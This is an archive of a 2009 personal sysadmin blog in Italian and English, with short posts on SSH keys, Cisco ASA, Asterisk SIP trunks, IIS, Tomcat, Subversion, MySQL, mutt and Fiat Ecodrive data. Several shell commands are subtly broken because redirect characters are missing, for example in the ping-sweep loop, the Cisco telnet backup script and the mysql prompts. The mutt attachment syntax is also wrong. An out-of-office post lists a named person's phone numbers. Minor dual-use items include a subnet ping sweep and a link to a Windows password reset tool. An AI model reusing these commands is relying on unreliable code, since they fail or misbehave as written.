Trovando la stringa “Monitor” si potrebbe cambiare direttamente la risoluzione, ma personalmente ho cancellato tutto il contenuto e riavviato così facendo ha ricreato le configurazione di default.

OpenSSH - Generate server key

Tue, 11 Aug 2009 22:08:55 +0000

OpenSSH require different keys depending if you use SSH1 or SSH2 protocol. All keys are generated by “ssh-keygen” commad, that one should be available on your system with the ssh package. Default key lengths are also appropriate (2048 bits for rsa and 1024 bits for dsa) For SSH1 protocol, you need a rsa1 key generated has follow:

# ssh-keygen -q -f /etc/ssh/ssh_host_key -N '' -t rsa1

For SSH2 protocol, you need two keys, one rsa key and one dsa key generated has follow:

# ssh-keygen -f /etc/ssh/ssh_host_rsa_key -N '' -t rsa # ssh-keygen -f /etc/ssh/ssh_host_dsa_key -N '' -t dsa

Cisco ASA - Enable SSH

Thu, 06 Aug 2009 00:32:57 +0000

If you have tried to setup SSH access on a new ASA, it might not have worked the way you wanted. That is because the RSA keys need to be generated first. To do that:

from configure terminal:

fw01/act(config)# crypto key generate rsaINFO: The name for the keys will be:
Keypair generation process begin. Please wait…

And then configure SSH to be allowed from the inside interface:

fw01/act(config)# ssh (inser your ip) (insert your netmask) outside

Now you can configure AAA and setup your own username.

First, a username needs to be created:

fw01/act(config)# username leonardo password mypassword privilege 15

And then configure AAA:

fw01/act(config)# aaa authentication ssh console LOCAL

Vim - Fix arrow keys that display A B C D on remote shell

Wed, 22 Jul 2009 10:57:23 +0000

A little fix for arrow keys in Vim, that display A B C D on remote terminal if in the system you don’t wanna declare “TERM” just insert into yout ~/.vimrc the terminal type like this:

set term=xterm

Cool Tools for OpenSPARC

Tue, 21 Jul 2009 03:09:16 +0000

Optimized Applications for Solaris OS and OpenSparc computing.

Simple and very useful example is “Cool Stack” a web deployment packge include most commonly used free and open source applications, recompiled to deliver a 30 to 200 percent performance improvement over standard binaries compiled with GCC.

Cool Tools.

CSW packaging

Tue, 21 Jul 2009 02:52:08 +0000

Memo: Solaris package.

CSW packaging home.

Satellite

Sat, 18 Jul 2009 05:06:15 +0000

[caption id=“attachment_524” align=“alignleft” width=“512” caption=“9° Est”][/caption]

Recentemente ho rifatto i puntamenti di alcune parabole, qui in particolare il grafico dello spettro del satellite Eurobird 9° Est (Ex Hotbird 2 ora riposizionato) facente parte della flotta Eutelsat.

Asterisk - Eutelia SIP

Sat, 18 Jul 2009 04:55:08 +0000

Questo risulta essere un argomento un po’ delicato sopratutto sconsigliato a chi non ha un minimo di dimestichezza con asterisk, dal momento che non mi dilunghero troppo in spiegazioni sul funzionamento ma darò indicazioni essenziali e basta.

Chiunque abbia provato ad usare asterisk su eutelia una volta skypho è sicuramente incappato in qualche problema sia sulla parte di registrazione sia sulla parte di streaming dei flussi rtp, la spiegazione di tutto ciò è abbastanza semplice eutelia appoggia il sistema sip che distribuisce ai cliente utilizzando il Cisco SIP Gateway, lo si può capire velocemente facendo debug. Questa soluzione spesso non è molto propensa a dialogare con asterik in modo standard, pertanto se state usando interfacce GUI o soluzioni embedded potete smettere di leggere perchè la maggior parte delle volte è impossibile uscire dagli schemi imposti.

Ora il problema: capita che registrando due o più trunk con numerazione in ingresso nonostante la definizione di context diversi per ogni numero, la chiamata diretta a numeri differenti segua sempre la stessa strada anche definendo DID e non facendo Catchall sul trunk/context stesso; questo succede perchè tutto il flusso in arrivo da eutelia viene riconosciuto e inoltrato sul primo trunk che si registra presso il gateway. Fra le possibili soluzioni ci sarebbe avere un ip pubblico per trunk oppure come letto in giro per la rete modificare la porta da 5060 a 5061 e così via.. Certo sono soluzioni possibili ma per niente pratiche e a volte poco stabili.

La soluzione testata e affidabile usando 4 trunk è la seguente: -premessa sullo scenario nel mio caso il pbx è nattato utilizzando un ip pubblico statico, ma la stessa soluzione è testata anche su un pbx con ip pubblico in routing senza nat. -nelle configurazioni i numeri sono oscurati ommettendo le ultime tre cifre con XXX e al posto delle password è inserita la parola “mysecret”

Prima cosa definiamo il trunk e il context principale nel file /etc/asterisk/users.conf qui è importante definire il primo trunk o quello preferito per le chiamate in uscita dato che lo stesso context può essere usato anche per quello.

[eutelia]
type = friend
srvlookup = yes
realm = voip.eutelia.it
username = 0245071XXX
secret = mysecret
fromuser = 0245071XXX
fromdomain=voip.eutelia.it
qualify = yes
insecure = port,invite
host = voip.eutelia.it
context = from-eutelia
nat = yes
canreinvite = no
disallow = all
allow = ulaw
allow = alaw
useragent=Asterisk_Eut

Successivamente definiamo la registrazione dei numeri aggiuntivi nel file /etc/asterisk/sip.conf:

register =0245071XXX:mysecret@eutelia/0245071XXX
register =0245072XXX:mysecret@eutelia/0245072XXX
register =0245073XXX:mysecret@eutelia/0245073XXX
register =0245074XXX:mysecret@eutelia/0245074XXX

Ora l’ultima fase definiamo dove far andare le chiamate e dove farle uscire, questo nel file /etc/asterisk/extensions.conf

#DID in ingresso dal context di eutelia qui definiamo dove dirottare le chiamate, nel primo esempio vanno ad un gruppo di chiamata, nel secondo ad un voice menu, nel terzo ad un exetension SCCP e infine nel quarto ad un extension SIP

[from-eutelia]
exten =0245071XXX,1,GoTo(ringroup1,s,1)
exten =0245072XXX,1,GoTo(voicemenu1,s,1)
exten =0245073XXX,1,Dial(SCCP/114)
exten =0245074XXX,1,Dial(SIP/112)

Ora per definire le chiamate in uscita dovete andare nel vostro context principale in cui sono definite le regole per le extension e il dialplan, tipicamente lo riconoscete perché è quello definito nel file user all’interno delle singole extension, nel mi caso di chiama “DialPlan01”

#Questo formato inoltra qualsiasi chiamata preceduta dal condice di impegno della linea “0” sul trunk eutelia ovviamente rimuovenlo prima dell’inoltro:

[DialPlan01]
exten = _0.,1,Dial(SIP/eutelia/${EXTEN:1})
exten =112,1,dial(SIP/112)
exten =114,1,dial(SCCP/114)

Ammetto che lo “0” per l’impegno delle linee è una cosa abbastanza antiquata derivata dai vecchi pbx a cui in parte sono ancora affezzionato, è possibile benissimo definirla in questo modo:

exten = _.,1,Dial(SIP/eutelia/${EXTEN})

In modo che tutte le chiamate non locali vengano inoltrate direttemente sul trunk.

IIS Socket Pooling

Sat, 18 Jul 2009 04:06:28 +0000

C’è una cosa brutta da sapere e si scopre quando per caso proviamo ad installare un servizio in ascolto sulla porta 80 su windows che ha già attivo per sfortuna nostra IIS, si chiama socket pooling, infatti automaticamente iis decide di essere in ascolto su tutti i socket quindi ogni indirizzo configurato sulla macchina, impedendo l’avvio di qualsiasi altro servizio (es. apache) anche se apparentemente configurato correttamente.

Per ovviare a questo problema ecco come fare: -Prima di tutto installate i support tools, dove sono? Inserite il cd nella directory \Support\Tools trovate un pacchetto suptools.msi -Ora potete procedere:

Definizione dello scenario in questo caso un server con windows con i seguenti ip: xxx.xxx.xxx.xxx (destinato a iis) yyy.yyy.yyy.yyy (destinato ad altro webserver)

from cmd (support tool shell):

 #settiamo l'ip in ascolto di iis
 httpcfg set iplisten -i xxx.xxx.xxx.xxx
 #eliminiamo l'ascolto di iis su questo ip
 httpcfg delete iplisten -i yyy.yyy.yyy.yyy
 #verifichiamo di non aver fatto errori
 httpcfg query iplisten
 #riavviamo il tutto per rendere effettive le modifiche
 net stop http /y
 net start w3svc

Nota: queste operazioni sono testate su IIS6 quindi sulle piattaforme Windows 2003 (tutte le versioni) non posso garantire il funzionamento identico su 2008

Miaoo - Tomcat su Debian

Sat, 18 Jul 2009 03:40:09 +0000

Breve draft su come installare tomcat su debian, in questo caso lenny, le versioni dei pacchetti potrebbero cambiare ma il risultato finale è quello.

Partiamo installando quello che ci serve:

#apt-get install tomcat5.5 tomcat5.5-admin sun-java5-jdk tomcat5.5-webapps

Attenzione, se l’installazione debian di default sicuramente non trovo il java jdk, è necessario quindi aggiungere il repository non-free, in apt editando in questo modo: /etc/apt/source.list

deb http://your-mirror-url/debian/ lenny main non-free
deb-src http://your-mirror-url/debian/ lenny main non-free

Configurare il sistema per utilizzare java

srv01#update-alternatives --config java

There are 2 alternatives which provide ‘java’.

Selection Alternative ---——————————————– 1 /usr/lib/jvm/java-1.5.0-sun/jre/bin/java \*+ 2 /etc/alternatives/kaffe-system/bin/java

Press enter to keep the default[*], or type selection number:

digitiamo 1 per attivare /usr/lib/jvm/java-1.5.0-sun/jre/bin/java

Definiamo il runtime java specifico installato e reso di default nel sistema come da step precendenti, editando il file /etc/default/tomcat5.5 e aggiungendo:

JAVA_HOME=/usr/lib/jvm/java-1.5.0-sun/

Definiamo ora gli utenti per l’interffaccia di gestione editando il file /var/lib/tomcat5.5/conf/tomcat-users.xml e creando una struttura simile:

In questo caso sono definiti 3 utenti, due principali e uno definito dall’utente (manager, admin, leo)

Fatto questo avviamo tomcat o riavviamolo se già attivo:

srv01#/etc/init.d/tomcat5.5 start o restart

Di default il server è in ascolto sulla porta 8180 quindi per accedere andare all’indirizzo:

http://ipserver:8180/

Nota: nel mio caso ho usato il pacchetto jdk5 che contiene il java 1.5.0 è disponibile anche a scelta il pacchetto 1.6.0 ovviamente di chiama jdk6

SCSI R.I.P.

Sat, 18 Jul 2009 02:57:27 +0000

During a raining night..

Syslog tail:

Jul 18 03:02:18 pbx01 kernel: [265460.092056] >>>>>>>>> Dump Card State Begins <<<<<<<<
Jul 18 03:02:18 pbx01 kernel: [265460.092059] scsi0: Dumping Card State in Command phase,/
at SEQADDR 0x157
Jul 18 03:02:18 pbx01 kernel: [265460.092063] Card was paused
[cut]
Jul 18 03:02:18 pbx01 kernel: [265460.092511] Pending list:
Jul 18 03:02:18 pbx01 kernel: [265460.092514] 6 SCB_CONTROL[0x60]:(TAG_ENB|DISCENB)
Jul 18 03:02:18 pbx01 kernel: [265460.092521] SCB_SCSIID[0x7] SCB_LUN\[0x0]Jul 18 03:02:18 pbx01 kernel: [265460.092526] 2 SCB_CONTROL[0x74\]: /
(DISCONNECTED|MK_MESSAGE|TAG_ENB|DISCENB)
Jul 18 03:02:18 pbx01 kernel: [265460.092534] SCB_SCSIID[0x7] SCB_LUN[0x0\]
Jul 18 03:02:18 pbx01 kernel: [265460.092539] 3 SCB_CONTROL[0x0] SCB_SCSIID[0x7] SCB_LUN[0x0]
Jul 18 03:02:18 pbx01 kernel: [265460.092547] Kernel Free SCB list: 7 1 4 5 11 10 9 8
Jul 18 03:02:18 pbx01 kernel: [265460.092556]
Jul 18 03:02:18 pbx01 kernel: [265460.092558] <<<<<<<<< Dump Card State Ends >>>>>>>>>
Jul 18 03:02:18 pbx01 kernel: [265460.092570] scsi0:0:0:0: Cmd aborted from QINFIFO
Jul 18 03:02:18 pbx01 kernel: [265460.092579] aic7xxx_abort returns 0x2002
Jul 18 03:02:18 pbx01 kernel: [265460.092590] sd 0:0:0:0: [sda] Attempting to queue a TARGET RESET message
Jul 18 03:02:18 pbx01 kernel: [265460.092594] CDB: 0x2a 0x0 0x0 0x5a 0xf3 0xbc 0x0 0x0 0x8 0x0
Jul 18 03:02:18 pbx01 kernel: [265460.092604] aic7xxx_dev_reset returns 0x2003
Jul 18 03:02:18 pbx01 kernel: [265460.092655] Recovery SCB completes
Jul 18 03:02:18 pbx01 kernel: [265460.092696] Recovery SCB completes
pbx01:/#
pbx01:/# Timeout, server not responding.
leobook2-w:~ leonardorizzi$

Ouch!

Cisco - Autosave scp

Wed, 01 Jul 2009 19:15:31 +0000

Non ho mai trovato la giusta implementazione per usarla, ma questo dovrebbe copiare la configurazione di apparati cisco automaticamente ad ogni salvataggio:

archive
path scp://leo:xxxxxx@hostname/home/leo/router-backups/router
write-memory

Offline Windows password & registry editor

Wed, 01 Jul 2009 18:49:23 +0000

Just another link of useful utility:

http://home.eunet.no/pnordahl/ntpasswd/

http://pogostick.net/~pnh/ntpasswd/

Dump System log on Windows

Tue, 19 May 2009 00:06:14 +0000

If you wanna to dump windows event log, in readable format form debug youre fucking .NET application running on IIS you can do this:

Fist of all you need a special tool for this “dumpel.exe” (in pure Microsoft style) part of Windows Resource Kit 2000 (yeah only 9 year ago): You can download from http://support.microsoft.com/kb/927229 Then create a bat or vbs file with this command: dumpel.exe -l Application -f "\\path-to\app_log\app_all.csv"

Worldly Wisdom

Mon, 18 May 2009 23:52:08 +0000

Life is a bitch, so fuck it!

Mac OS X - Cisco VPN Client

Mon, 27 Apr 2009 02:16:09 +0000

If you are running Cisco’s VPN Client on Mac OSX, you might be familiar with (or tormented by) “Error 51: Unable to communicate with the VPN subsystem”. The simple fix is to quit VPN Client, open a Terminal window, (Applications -> Utilities -> Terminal) and type the following from root user:

# /System/Library/StartupItems/CiscoVPN/CiscoVPN restart

Stopping Cisco Systems VPN Driver
kextunload: unload kext /System/Library/Extensions/CiscoVPN.kext succeeded
Starting Cisco Systems VPN Driver
kextload: /System/Library/Extensions/CiscoVPN.kext loaded successfully

Tracking voli di ritorno.

Mon, 20 Apr 2009 02:00:56 +0000

Potete vedere a che punto sono del viaggio da qui:

Da Amman ad Istambul partenza ore 3:30

Da Istambul a Milano partenza ore 8:05

Gli orari sono espressi con il fuso locale data 20/04.

Tracking voli di andata.

Tue, 14 Apr 2009 10:30:17 +0000

Potete vedere a che punto sono del viaggio da qui:

Da Milano a Istanbul partenza ore 11:00

Da Istanbul ad Amman partenza ore 19:05

Gli orari sono espressi con il fuso locale data 14/04.

Cisco - page breaks

Mon, 13 Apr 2009 19:14:27 +0000

On Router IOS:

To stop the page breaks:

# terminal length 0

To resume them:

# terminal no length 0 (or number ex. 24)

On Pix/ASA: To stop the page breaks.

# no pager

To resume them:

# pager 24

Cisco - Get & Save config using telnet

Mon, 13 Apr 2009 19:08:14 +0000

Vi è mai capitato di dover salvare delle configurazione da apparati cisco senza avere un tftp a disposizione?

In aiuto un piccolo script:

#!/bin/bash
host=xx.xx.xx.xx
port=23
login=user
passwd=pass
nobreak='terminal length 0'
cmd='show running-config all'
(echo open ${host} ${port}
sleep 1
echo ${login}
sleep 1
echo ${passwd}
sleep 1
echo ${nobreak}
sleep 1
echo ${cmd}
sleep 30
echo exit) | telnet sw01.txt

Out of Office automatic reply

Fri, 10 Apr 2009 16:00:23 +0000

Thank you for your message. I’m currently out of office, with limited access to e-mail.

I will be returning on 22/04

For very urgent issues, you may reach me at +393939878975

Leonardo Rizzi

– Leonardo Rizzi - System & Network Architect HostingLab (Skillnet Srl) Viale E. Jenner 30 20159 - Milano Office: +39 025457173 Mobile: +39 3939878975 www.hostinglab.it

Configuring the svnserve daemon

Sun, 29 Mar 2009 12:59:32 +0000

Creating the repositories

If you have not created any subversion repositories yet, you can create one with svnadmin:

# svnadmin create ~/my-repository

Tweaking svnserve.conf

Open up and edit the svnserve.conf file located in the $HOME/my-repo/conf/ directory.

Sample $HOME/my-repo/conf/svnserve.conf

[general]

# Path to the file containing svn users and passwords.
password-db = $HOME/my-repo/conf/passwd

# Authentication realm of the repository. Two repositories using the
# same password-db should have the same realm.
realm = My-test-repository

# Deny all anonymous access
anon-access = none

# Grant authenticated users read and write privileges
auth-access = write

Setting up password authentication

Open up and edit the password-db file (ie. $HOME/my-repo/conf/passwd). A sample entry might look like this:

[users]
user1 = password1
user2 = password2

Starting up the server

Run the server by invoking svnserve with the -d switch (daemon mode) and –listen-host 1.2.3.4 (substituting 1.2.3.4 for your v-host IP address).

# svnserve -d --listen-host 1.2.3.4 -r $HOME/my-repo

To ensure that your svnserve gets started whenever the server is booted, you must add a @reboot line to your crontab. Use the crontab -e command to bring up your crontab in your favorite text editor and add the following line:

@reboot svnserve -d --listen-host 1.2.3.4 -r $HOME/my-repo

Testing the server

To test the server’s functionality, you can create a working copy of your repository using your shell. The checkout command will create a working copy of the repository:

# svn co svn://your-domain.com/$HOME/my-repo my-working-dir
# cd my-working-dir
# echo "foo bar" test-file
# svn add test-file
# svn remove test-file
# svn commit

Configuring subversion access over HTTP/DAV

Sun, 29 Mar 2009 12:53:15 +0000

Creating the repository

If you have not created any Subversion repositories yet, you can create one with svnadmin:

# svnadmin create ~/my-repository

Adding mod_dav_svn to your httpd

# a2enmod mod\_dav\_svn

If you plan to use fine-grained permissions, load mod_authz_svn.so as well:

# a2enmod mod_authz_svn

Configuring access to repositories

HTTP access to your repositories is defined using a section in your httpd.conf.


DAV svn
SVNPath /home/myself/myrepos/myproject
AuthType Basic
AuthName "My project"
AuthUserFile /home/myself/private/myproject.pw
Order deny,allow

Require valid-user

This entry would grant read-only access to everyone and write access to every user AuthUserFile. You can use the htpasswd utility to create or update this file, as described here.

The next entry grants read/write access to users in the AuthUserFile, and no access to anyone else.


DAV svn
SVNPath /home/myself/myrepos/myproject
AuthType Basic
AuthName "My project"
AuthUserFile /home/myself/private/myproject.pw
Order deny,allow
Require valid-user

The previous examples all define access on a per-repository basis. It is also possible to grant access from specific users to specific areas of the repository, using fine-grained permissions.

Testing the repository

Using either a remote Subversion client or the standard svn command from your shell, you can generate your working copy of the repository with the checkout command. If you are accessing public data over a read-only account, you can use a standard http URL:

# svn co http://your-domain/myproject/

If you are accessing private data or using a read/write account, make sure to use an https URL:

# svn co https://your-domain/myproject/

The contents of public repositories are also accessible from a web browser. Keep in mind that search engines will try to index any public data, so you may want to use a robots.txt file.

Using fine-grained permissions (optional)

You can allow or deny specific users read/write privileges on specific items within a repository using AuthzSVNAccessFile. If you use this directive, make sure the mod_authz_svn module is loaded.


DAV svn
SVNPath /home/myself/myrepos

# Access Control via the authz module.
AuthzSVNAccessFile /home/myself/private/myrepos.acl
# Anonymous access is allowed. Prompt as needed.
Satisfy Any
Require valid-user
AuthType Basic
AuthName "My subversion repositories"
AuthUserFile /home/myself/private/myrepos.pw

The file specified in AuthzSVNAccessFile is a plain text file which defines fine-grained access lists. Note that all path names specified are relative to the SVNPath.

#
# Allow anonymous read access to everything by default.
#
[/]
\* = r

#
# Grant alice and bob write access to all of /myproject1/.
#
[/myproject]
\* = r
leo = rw
temp = rw

#
# Grant carol and charlie write access to only /myproject/foo
#
[/myproject/foo]
leo= rw
temp = rw

MySQL Change Password

Sun, 22 Mar 2009 23:44:10 +0000

If you have never set a root password for mysql, the server does not require a password at all for connecting as root. To setup root password for first time, use mysqladmin command at shell prompt as follows:

# mysqladmin -u root password NEWPASSWORD

However, if you want to change (or update) a root password, then you need to use following command

# mysqladmin -u root -p oldpassword newpass

Enter password: Change MySQL password for other user To change a normal user password you need to type (let us assume you would like to change password for leo):

# mysqladmin -u leo -p oldpassword newpass

Changing mysql root user password using mysql sql command This is another method. mysql stores username and passwords in user table inside mysql database. You can directly update password using the following method to update or change password for user leo:

# mysql -u root -p

Use mysql database (type command at mysqlprompt):

mysqluse mysql;

Change password for user leo:

mysqlupdate user set password=PASSWORD("NEWPASSWORD") where User='leo';

Reload privileges:

mysqlflush privileges;
mysqlquit

ProFTP(D) - Ident Lookups

Tue, 17 Mar 2009 22:20:43 +0000

Visto che mi è capitato e mi dimentico sempre, proftpd nell’installazione standard (Debian per capirci) è attivo di defaultl l’ident del client, quindi colpa del reverse o colpa dei dns mal configurati la connessione risulta parecchio lenta nella fase di autenticazione.

Per risolvere:

#/etc/proftpd/proftpd.conf
IdentLookups no

Fiat Ecodrive - Database

Sun, 15 Mar 2009 23:32:05 +0000

E così ho comprato una 500, come per le macchine di nuova produzione della Fiat a bordo hanno equipaggiato un sistema che si chiama Blue & Me un computer di bordo basato su Windows Mobile for Automotive, che tuttosommato non è neanche una scelta così pessima quando funziona.

Questa breve introduzione mi era necessaria per descrivere un software fornito dalla Fiat chiamato Ecodrive installabile sul computer di bordo dell’automobile. Nonostante il nome non è nientaltro che un datalogger dei dati di bordo come velocità, numero di giri del motore, temperature ecc. che salva tutto su una drive collegato alla porta usb della macchina.

Di base nasce tutto come un supporto alla guida che aiuti a migliorare lo stile al fine di ridurre i consumi.. Inutile dire che fa abbastanza ridere questa cosa come anche l’interfaccia grafica del software che lo rendo un giocattolo.

A questo punto dati + software indecente, nasce spontaneo eliminare una delle due cose e correre ai ripari.

I dati grezzi vengono salvati nel drive usb in /iFiat/ecoDrive/data/ in un file chiamato eddrm.-idnumericoauto-.bin da lazyman non ho ancora trovato il significato di questo file quindi consiglio di passare allo step successivo che offre i dati già pronti.

Il software Ecodrive fornito è un’applicativo scritto in Adobe AIR ad occhio può sembrare una scelta di dubbia convenienza ma sul sito fiat ho avuto una grande sorpresa il download era disponibile anche per Mac OS X. Ovviamente non sto a descrivere come installare e usare il programma quindi do per scontato che sia già stata fatta la prima importazione dei dati.

I dati sono stoccati sulla macchina locale in quattro file SQLite in una directory simile a questa:

/Users/username/Library/Preferences/com.fiat.convergence.-idnumerico-.1/Local Store/

ecoDrive.db (Questo file contiene di dati varibili del software come costo carburante e simili aggiornati automaticamente da internet) ecoDriveCommunity.db (Questo file contiene i dati statistici della comunity usati per fare in confronto con i trend locali) ecoDriveJourney.db (Questo file contiene i dati devi viaggi effettuati dai veicoli) iFiat.db (Questo file contiene le configu razioni base del programma e veicoli)

I file si possono aprire con qualsiasi cosa supporti SQLite ad esempio io uso SQLite Database Browser per Mac OS X: A noi serve il seguente file ecoDriveJourney.db in seguito illustro lo schema per tabelle:

Table: AccellerationBandData Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: LowerSpeed (integer PRIMARY) valore numerico che esprime la velocità minima in km/h Field: UpperSpeed (integer PRIMARY) valore numerico che esprime la velocità massima in km/h Field: Acceleration (FLOAT) valore numerico positivo che esprime l’accellerazione in “g” per essere più chiari m/s2 Field: Deceleration (FLOAT) valore numerico negativo che esprime l’accellerazione in “g” per essere più chiari m/s2 Table: DatabaseVersion (questa tabella non contiene dati utili)

Table: DrivingCategoryScore Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: JourneyCategoryId Field: Score

Table: GearData Field: JourneyId (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: Gear (integer PRIMARY) id numerico che indica la marcia 0 indica la retro Field: AverageAcceleration (FLOAT) valore numerico positivo che esprime l’accellerazione in “g” per essere più chiari m/s2 per la singola marcia Field: AverageDownshiftRPM (FLOAT) valore numerico che indica gli RPM minimi raggiunti con la marcia inserita Field: AverageUpshiftRPM (FLOAT) valore numerico che indica gli RPM massimi raggiunti con la marcia inserita Field: PercentUsage (FLOAT) sono ancora indeciso su questo dato non riesco ad interpretare i decimali Field: AverageDeceleration (FLOAT) valore numerico negativo che esprime l’accellerazione in “g” per essere più chiari m/s2

Table: Journey Field: Id (integer PRIMARY) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: UserLocalId identificativo interno dell’autista Field: VehicleLocalId identificativo interno del veicolo Field: StartTime ora di inizione del viaggio espresso in unixtimestamp Field: StartDate data di inizione del viaggio espresso in unixtimestamp Field: EndTime ora fine di fine del viaggio espresso in unixtimestamp Field: StartOdometer kilometri indicati dal tachimetro al momento di inizio del viaggio Field: StopOdometer kilometri indicati dal tachimetro all fine del viaggio Field: EcoIndex paramentro dell’ecodrive Field: EcoIndexServerId paramentro dell’ecodrive Field: EcoIndexServerAlgorithmVersion paramentro dell’ecodrive Field: PricePerUnit costo del carburante Field: FuelConsumed carburante usato Field: JourneyType tipo di viaggio urbato/extraurbano viene calcolato in base a velocità massima e distanza, dato non reale Field: ComputedServerFuelConsumption carburante usato Field: ConsumptionUnit unità in cui è espresso il consumo Field: TripDataCount ???

Table: TripAComputerData Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp Field: PartialOdometer inidica in kilometri quanto indica il tachimetro parziale Field: AverageSpeed velocità media espressa in km/h Field: AverageFuelConsumption: valore che esprime il consumo medio in litri per 100Km Field: EventType tipo di viaggio urbano/extraurbano Field: DistanceUnit indica con che unità sono espresse le distanze.

Table: TripData Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp Field: EngineSpeed RPM del motore Field: VehicleSpeed velocità veicolo in Km/h Field: IstantaneosFuelConsumption valore che esprime il consumo medio in litri per 100Km Field: AverageFuelConsumption valore che esprime il consumo medio in litri per 100Km

Table: TripStatusData Field: JourneyId (integer) id numerico del viaggio generato ad ogni avvio e spegnimento del computer di bordo. Field: DateTime cambo che indica data e ora in cui viene registrato il record espresso in unixtimestamp Field: ExternalTemperature temperatura esterna espressa in gradi centigradi Field: CompressorSts ???

Windows - Disable automatic update from VBS

Thu, 12 Feb 2009 01:20:50 +0000

Sono stufo di cliccare..

Const AU_DISABLED = 1

Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")
Set objSettings = objAutoUpdate.Settings

objSettings.NotificationLevel = AU_DISABLED
objSettings.Save

Windows - Symlink

Sun, 08 Feb 2009 04:34:37 +0000

Hahahah,

I’m burst in laughter when I read this NTFS (under win 2000 or above) specific, obviously Microsoft called with Junction name.

Unfortunately, Windows comes with no tools for creating junctions, for use this funtion there’s two additional program:

Get Resouce Kit and use “linkd” program
Use “junction” program form Sysinternal tool

More info:

http://support.microsoft.com/?kbid=205524

http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx

IIS maxupload limit ASP

Sun, 08 Feb 2009 04:19:59 +0000

IIS 6 on Windows Server 2003 or R2 has a limit of 200 KB for ASP requests in general and file uploads. To change this limitation you need to edit the Metabase file, which can be found at c:\Windows\System32\Inetsrv\MetaBase.xml. Follow these steps:

Stop IIS from command line

iisreset /STOP

Open MetaBase file, find the variable AspMaxRequestEntityAllowed limits the number of bytes in the page request (by default 200KB); change the value to 1073741824 (unlimited) or to a limit of your choice.
Start IIS from command linet:

iisreset /START

There’s another way for do this change without stop the service but sincerly IIS is a Microsoft program, I’m no sure about this operation..

Go to IIS and right click the server, select Properties, and check the box “Allow changes to MetaBase configuration while IIS is running” then try to edit metbase file.

Discovery Subnet with Ping

Sun, 08 Feb 2009 03:58:15 +0000

Sometime we need to discover an entire subnet.

This is a small script not so fast but easy:

#!/bin/sh
subnet=10.10.10.
addr=1
while [ $addr -lt 256 ]; do
ping -c 1 -t 1 $subnet$addr /dev/null && echo $subnet$addr Is Alive
let addr=addr+1
done

Link - Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping [Cisco Catalyst 4200 Series Switches] - Cisco Systems

Mon, 02 Feb 2009 01:03:35 +0000

Catalyst 4224 Access Gateway Switch Software Configuration Guide - Traffic Shaping [Cisco Catalyst 4200 Series Switches] - Cisco Systems.

Windows - Change IP from command line

Sun, 01 Feb 2009 19:36:22 +0000

Yes, is possibile don’t make lot of click to reconfigure network interfaces under Windows, using “netsh” command like this:

For set up static address and metric 1 gateway:

netsh interface ip set address name="Local Area Connection" static ip.ip.ip.ip 255.255.255.0 gw.gw.gw.gw 1

For set up static dns:

netsh interface ip set dns "Local Area Connection" static xx.xx.xx.xx
netsh add dns "Local Area Connection" addr=xx.xx.xx.xx index=2

For setup ip by dhcp:

netsh interface ip set address name="Local Area Connection" source=dhcp
netsh interface ip set dns name="Local Area Connection" source=dhcp

Linux - Iftop

Mon, 26 Jan 2009 03:34:30 +0000

iftop command listens to network traffic on a named network interface, or on the first interface it can find which looks like an external interface if none is specified, and displays a table of current bandwidth usage by pairs of hosts. iftop is a perfect tool for remote Linux server over ssh session.

iftop must be run by the root or the user who has sufficient permissions to monitor all network traffic on the network interface. Type iftop command at tge shell prompt to display traffic:

# iftop

However, iftop works best when you use filters. For example, if you want to find out how much bandwidth users are wasting or trying to figure out why the network is slow,

# iftop -f icmp

You can display or analyses packet flowing in and out of the 192.168.1.0/24 network:

# iftop -F 192.168.1.0/24

Disable output for DNS traffic by using filter code such as:

# iftop -f 'not port domain'

iftop has many options read man page for further information.

Linux - Send mail from command line

Mon, 26 Jan 2009 03:28:56 +0000

The Linux command line can be very powerful once you know how to use it. You can parse data, monitor

Mutt: One of major drawbacks of using the mail command is that it does not support the sending of attachments. mutt, on the other hand, does support it. I’ve found this feature particularly useful for scripts that generate non-textual reports or backups which are relatively small in size which I’d like to backup elsewhere. Of course, mutt allows you to do a lot more than just send attachments. It is a much more complete command line mail client than the “mail” command. Right now we’ll just explore the basic stuff we might need often. Here’s how you would attach a file to a mail:

# echo "Sending an attachment." | mutt -a backup.zip -s "attachment" leo@deepreflect.net

This command will send a mail to leo@deepreflect.net with the subject (-s) “attachment”, the body text “Sending an attachment.”, containing the attachment (-a) backup.zip. Like with the mail command you can use the “-c” option to mark a copy to another mail id. Shell scripting: Now, with the basics covered you can send mails from your shell scripts. Here’s a simple shell script that gives you a reading of the usage of space on your partitions and mails the data to you.

#!/bin/bash
df -h | mail -s "disk space report" leo@deepreflect.net

Save these lines in a file on your Linux server and run it. You should receive a mail containing the results of the command. If, however, you need to send more data than just this you will need to write the data to a text file and enter it into the mail body while composing the mail. Here’s and example of a shell script that gets the disk usage as well as the memory usage, writes the data into a temporary file, and then enters it all into the body of the mail being sent out:

#!/bin/bash
df -h > /tmp/mail_report.log
free -m >> /tmp/mail_report.log
mail -s "disk and RAM report" leo@deepreflect.net < /tmp/mail_report.log

Now here’s a more complicated problem. You have to take a backup of a few files and mail then out. First the directory to be mailed out is archived. Then it is sent as an email attachment using mutt. Here’s a script to do just that:

#!/bin/bash
tar -zcf /tmp/backup.tar.gz  /home/leo/files
echo | mutt -a -s /tmp/backup.tar.gz "daily backup of data" leo@deepreflect.net

The echo at the start of the last line adds a blank into the body of the mail being set out.

Debian - Service startup

Mon, 26 Jan 2009 03:23:36 +0000

Under Debian Linux startup files are stored in /etc/init.d/ directory and symbolic linked between /etc/rcX.d/ directory exists. Debian Linux uses System V initialization scripts to start services at boot time from /etc/rcX.d/ directory. Debian Linux comes with different utilities to remove unwanted startup file

Using rcconf:

